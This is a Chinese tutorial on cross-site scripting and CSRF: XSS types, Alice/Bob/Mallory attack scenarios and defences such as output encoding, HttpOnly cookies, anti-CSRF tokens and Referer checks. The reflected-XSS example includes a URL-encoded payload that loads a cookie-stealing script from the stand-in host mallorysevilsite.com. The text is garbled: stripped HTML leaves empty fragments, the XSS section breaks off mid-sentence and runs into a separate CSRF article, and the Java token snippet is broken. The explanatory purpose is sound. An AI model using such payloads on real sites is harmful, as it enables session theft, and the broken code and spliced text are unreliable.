1)定义
跨站脚本攻击是基于web应用中已知的漏洞,服务端,或者依赖的插件系统。利用其中一种方式,攻击者可以把恶意内容放进目标站点传输的内容中。当这种结合的内容到达客户端的浏览器中,它就已经变成从受信任的来源传输的,然后在系统授权下进行操作。通过寻找把恶意脚本注入web页面的方法,攻击者可以获取对敏感页面的访问权限,例如对session cookie和浏览器代表用户维护的其他信息。跨站脚本攻击是代码注入的一种方式。
2)概念
反射型,存储型,基于DOM三种。
反射型
到目前为止,非持久型(反射型)跨站脚本漏洞是最基本的web漏洞。当web客户端提供数据时,就会出现这种漏洞,常见于HTTP查询参数(例如,HTML表单提交),服务端脚本在没有正确过滤请求时,就立即解析并展示页面结果给用户。
因为html文档是流式结构并且混合了控制状态,格式化,真实内容,结果页面中包含的任何未经验证的用户提交数据,如果没有正确的进行html编码,都有可能导致标签注入。一个典型例子是一个网站搜索引擎:如果搜索了一个字符串,这个搜索字符串通常会在搜索页再显示一次,告诉用户搜索了什么。如果响应没有正确忽略或者拒绝html控制字符串,跨站脚本风险随之而来。
一次反射型攻击通常通过邮件或者中立的站点来实施。诱饵通常是一个看起来安全的url,指向一个受信任的站点,但是包含XSS载体。如果受信任的站点容易受到载体影响,点击这个链接可能会导致受害者的浏览器执行注入脚本。
持久型
持久型(又称存储型)XSS漏洞是一种更有破坏性的跨站脚本缺陷的变种:当攻击者提供的数据保存到了服务端,然后永久的显示在“正常”页面,并且其他用户在浏览器是可以看到,如果这些数据没有经过正确的html编码,就会发生这种攻击。一个典型的例子就是在线留言板,允许用户发布html格式的信息,可以让其他用户看到。
例如,假设有一个数据站点,其中的会员浏览了其他会员的信息,看下是否感兴趣。由于隐私的原因,这个站点会隐藏每个用户的真实姓名和email,这些信息加密保存在服务端,只有当会员登录后才能在浏览器中看到自己真实的姓名和email,但是不能查看其他人的。
假设有一个攻击者,加入了这个站点,并且想要估算出他在站点上看到的用户的真实姓名。要做到这一点,他写了一段脚本,目的是当其他用户看他的个人信息时可以在其他人的浏览器上运行。然后这段脚本发送信息到他自己的服务器,然后就可以搜集这些信息。
为了这么做,对于“描述你的第一次约会”这样问题,攻击者给了一个简短答案(看起来很正常),但是在攻击者答案的最后是一段窃取姓名和email的脚本,如果脚本内嵌在标签中,它就不会在屏幕上显示。然后假设这个站点上的另一个用户看到了攻击者的个人信息,并且查看了攻击者对“描述你的第一次约会”问题的回答,然后攻击者的脚本就会通过浏览器自动的运行,并且从用户自己的机器上窃取了他的真实姓名和email。
持久性XSS漏洞比其他类型都要重要,因为攻击者的恶意脚本可以自动渲染,不需要单独定位受害者或者诱使受害者到第三方网站。特别在一些社交网站上,这些代码可以进一步的通过账号体系被设计成自蔓延型,创造一种客户端蠕虫病毒。
注入方法可以变化很大;在一些场景中,攻击者甚至都不需要与web有功能性的交互。web应用接收的(通过邮件,系统日志,IM等)任意可以被攻击者控制的数据都有可能变成注入载体。
服务端与基于DOM的漏洞
以往第一次发现的XSS漏洞发生在所有数据处理都在服务端完成的应用中。用户输入(包含一个XSS载体)将会被发送到服务端,然后作为一个web页面返回给用户。为了提高用户体验,主流的web应用有大部分的展示逻辑是在客户端运行的,通过AJAX的方式从服务端拉取或者请求数据。
js代码也可以处理用户输入,然后渲染到页面内容中,一种新的反射型XSS攻击的子类型开始出现,被称为基于DOM的跨站脚本攻击。在基于DOM的跨站脚本攻击中,恶意数据不用和服务端交互。相反,它会被js代码完全反射在客户端侧执行。
基于DOM的XSS漏洞的例子是2011年在JQuery插件中发现的一个bug。阻止这种攻击的策略和对待传统XSS攻击的策略类似,只不过是在js代码中实施。一些js框架内建了防止XSS攻击的处理策略,例如Angular.js。
3)示例
攻击者想要利用跨站脚本漏洞,必须以不同的方式对待每种漏洞。对于每一种类型的漏洞,下面都会描述一种特定的攻击载体。下面用到的姓名是专业术语,取自计算机安全领域常用的Alice和Bob。浏览器开发框架可以被用来攻击web站点和用户的本地环境。
反射型(非持久型)
Alice经常访问一个特殊站点,这个站点是Bob托管的。Bob的站点允许Alice以用户名/密码的方式登录,也存储一些敏感信息,例如账单信息。当用户登录时,浏览器保存了一个授权cookie,授权cookie看起来就像无效的字符串,所以客户端,服务端都记得她登录过。
Mallory观察发现Bob的站点包含一个反射型XSS漏洞:
http://bobssite.org?q=搜索的术语
。http://bobssite.org?q=puppies
",这是一个正常行为。
",
",然后一个错误的消息提示'xss'。http://bobssite.org?q=
"——这是可以利用的行为。Mallory伪造了一个URL来利用这种漏洞:
http://bobssite.org?q=puppies
。她可以选择把ASCII字符串转成十六进制格式,例如:http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
,所以当被人看到时无法立马识别这个恶意URL。Alic收到了这封邮件,她喜欢狗狗,然后点击了这个链接。然后跳转到Bob站点的搜索页,没有找到任何东西,只是显示了"没有找到狗狗",然后脚本标签执行了,载入了Mallory的脚本authstealer.js(触发了XSS攻击).Alice忘记了这个。
authstealer.js脚本在Alice的浏览器中执行了,就好像它是从Bob的站点加载的。它抓取了Alice的授权Cookie,然后把它发送到Mallory的服务器,然后Mallory获取到它。
Mallory现在把Alice的授权Cookie放进她自己的浏览器,就好像它是自己的一样。然后她打开Bob的站点,以Alice的身份登录了。
登录之后,Mallory进入账单模块,找到Alice的信用卡号码,然后拷贝了一。然后她更改了密码,这样Alice就不能再登录了。
她决定更进一步,发送一个相似的链接给Bob自己,为了获取管理员权限。
可以通过以下几件事情来降低这种攻击风险:
搜索框有正确的编码检查。
服务端设置成重定向无效请求。
服务端可以检测到同时登陆,然后失效session。
服务端检测来自不同IP地址的同时登陆,然后失效session。
站点可以只显示用户使用的信用卡后几位数字。
在更改注册信息时,站点要求用户再次输入密码。
站点可以制定不同方面的内容安全策略。
教育用户不要点击看起来良好,但实际恶意的链接。
把cookie设置成HttpOnly
,阻止js获取。
存储型(持久型攻击)
Mallory获取了Bob站点上的一个账号。
Mallory观察发现Bob的站点包含一个存储型XSS漏洞。如果去新闻版块,然后发表一条评论,无论他在评论区输入什么都会被显示出来。但是如果评论文本包含HTML标签,标签将会按照原本要显示的方式显示出来的话,任意的script标签都可以运行。
Mallory在新闻版本读了一条新闻,然后再评论区增加了一条评论。在评论内容中,她插入了这样的文本:I love the puppies in this story! They're so cute!
。
当Alice或者其他人加载了带这条评论的页面,Mallory的脚本开始执行,然后窃取了Alice的授权cookie,然后发送给Mallory的服务端。
现在Mallory可以劫持了Alice的Session,并且可以冒充Alice。
Bob的站点应该可以剥离这些脚本标签或者做某些处理不让脚本标签生效,但是实际上他并没有处理这个安全漏洞。
4)预防手段
上下文输出编码/转码字符串输入
上下文输出编码/转码可以被用来作为基本的防御机制来阻止XSS攻击。有几转码机制可以使用,依赖不受信任的字符串需要放在HTML文档里面的那个位置,包括html实体编码,js转码,css转码,URL编码。大部分不需要接受富文本的web应用可以以一种直接的方式使用转码消除大部分的XSS攻击。
尽管广泛推荐,HTML实体编码只有五种有意义的字符,不足够阻止形式多样的XSS攻击。由于编码并不简单,所以安全编码库通常更容易使用。
安全验证不可信的HTML输入
有些特殊的web应用允许用户使用某些HTML标签。接受用户的HTML输入(例如very large),输出编码( very large)就够了,因为用户输入需要浏览器解析成HTML渲染,所以会显示成“very large”,而不是“very large”。在接受用户HTML输入的时候阻止XSS攻击比这种情况要复杂的多。不受信任的HTML输入必须通过一个HTML过滤引擎来确保不含有XSS代码。
还需要注意许多验证依赖具体解析的html标签(黑名单),例如下面的
如果你此时恰好登录了银行A,且没有登出,当你打开上述页面后,脚本会将表单aaa提交,把accountNum和money参数传递给银行的转账地址http://www.xxx.com/transfer.do
,同样的,银行以为是你发起的一次转账会从你的账户中扣除10000块。
当然,以上只是举例,正常来说银行的交易付款会有USB key、验证码、登录密码和支付密码等一系列屏障,流程比上述流程复杂得多,因此安全系数也高得多。
1.3、CSRF的防御
1、尽量使用POST,限制GET
GET接口太容易被拿来做CSRF攻击,看上面示例就知道,只要构造一个img标签,而img标签又是不能过滤的数据。接口最好限制为POST使用,GET则无效,降低攻击风险。
当然POST并不是万无一失,攻击者只要构造一个form就可以,但需要在第三方页面做,这样就增加暴露的可能性。
2、将cookie设置为HttpOnly
CRSF攻击很大程度上是利用了浏览器的cookie,为了防止站内的XSS漏洞盗取cookie,需要在cookie中设置“HttpOnly”属性,这样通过程序(如JavaScript脚本、Applet等)就无法读取到cookie信息,避免了攻击者伪造cookie的情况出现。
在Java的Servlet的API中设置cookie为HttpOnly的代码如下:response.setHeader( "Set-Cookie", "cookiename=cookievalue;HttpOnly");
3、增加token
CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于cookie中,因此攻击者可以在不知道用户验证信息的情况下直接利用用户的cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信总不存在于cookie之中。鉴于此,系统开发人员可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。
假设请求通过POST方式提交,则可以在相应的表单中增加一个隐藏域:
token的值通过服务端生成,表单提交后token的值通过POST请求与参数一同带到服务端,每次会话可以使用相同的token,会话过期,则token失效,攻击者因无法获取到token,也就无法伪造请求。
在session中添加token的实现代码:
HttpSession session = request.getSession();
Object token = session.getAttribute("_token");
if(token == null I I "".equals(token)) {
session.setAttribute("_token", UUID.randomUUIDO .toString());
}
4、通过Referer识别
根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限的页面的请求都来自于同一个网站。比如某银行的转账是通过用户访问http://www.xxx.com/transfer.do
页面完成的,用户必须先登录www.xxx.com
,然后通过单击页面上的提交按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是
提交按钮所在页面的URL(本例为www.xxx. com/transfer.do)。如果攻击者要对银行网站实施CSRF攻击,他只能在其他网站构造请求,当用户通过其他网站发送请求到银行时,该请求的Referer的值是其他网站的地址,而不是银行转账页面的地址。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值即可,如果是以www.xx.om
域名开头的地址,则说明该请求是来自银行网站自己的请求,是合法的;如果Referer是其他网站,就有可能是CSRF攻击,则拒绝该请求。
取得HTTP请求Referer:String referer = request.getHeader("Referer");
2)延伸
CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Anti CSRF Token来防御CSRF攻击,同时要注意Token的保密性和随机性。
并且CSRF攻击问题一般是由服务端解决。
注:文章大部分内容来源于《大型分布式网站架构 设计与实践》一书。
3)思考
Q:在上面的例子中,cookie通常是不能跨域访问的,那为什么会有csrf攻击?csrf说用户访问了A网站,然后又访问恶意网站B, B中也发送请求到A,携带A站的cookie,这样就构成了csrf。可是cookie好像是不支持跨域的吧?
A:浏览器会依据加载的域名附带上对应域名cookie,又不是发送b站的cookie。
就是如果用户在a站登录了生成了授权的cookie之类的,然后访问b站,b站故意构造请求a站的请求,如删除操作之类的,用script,img或者iframe之类的加载a站着个地址,浏览器会附带上a站此登录用户的授权cookie信息,这样就构成crsf,会删除掉当前用户的数据
本文参考《安全|常见的Web攻击手段之CSRF攻击》和《前端必备HTTP技能之跨站脚本攻击(XSS)技术详解》这两篇文章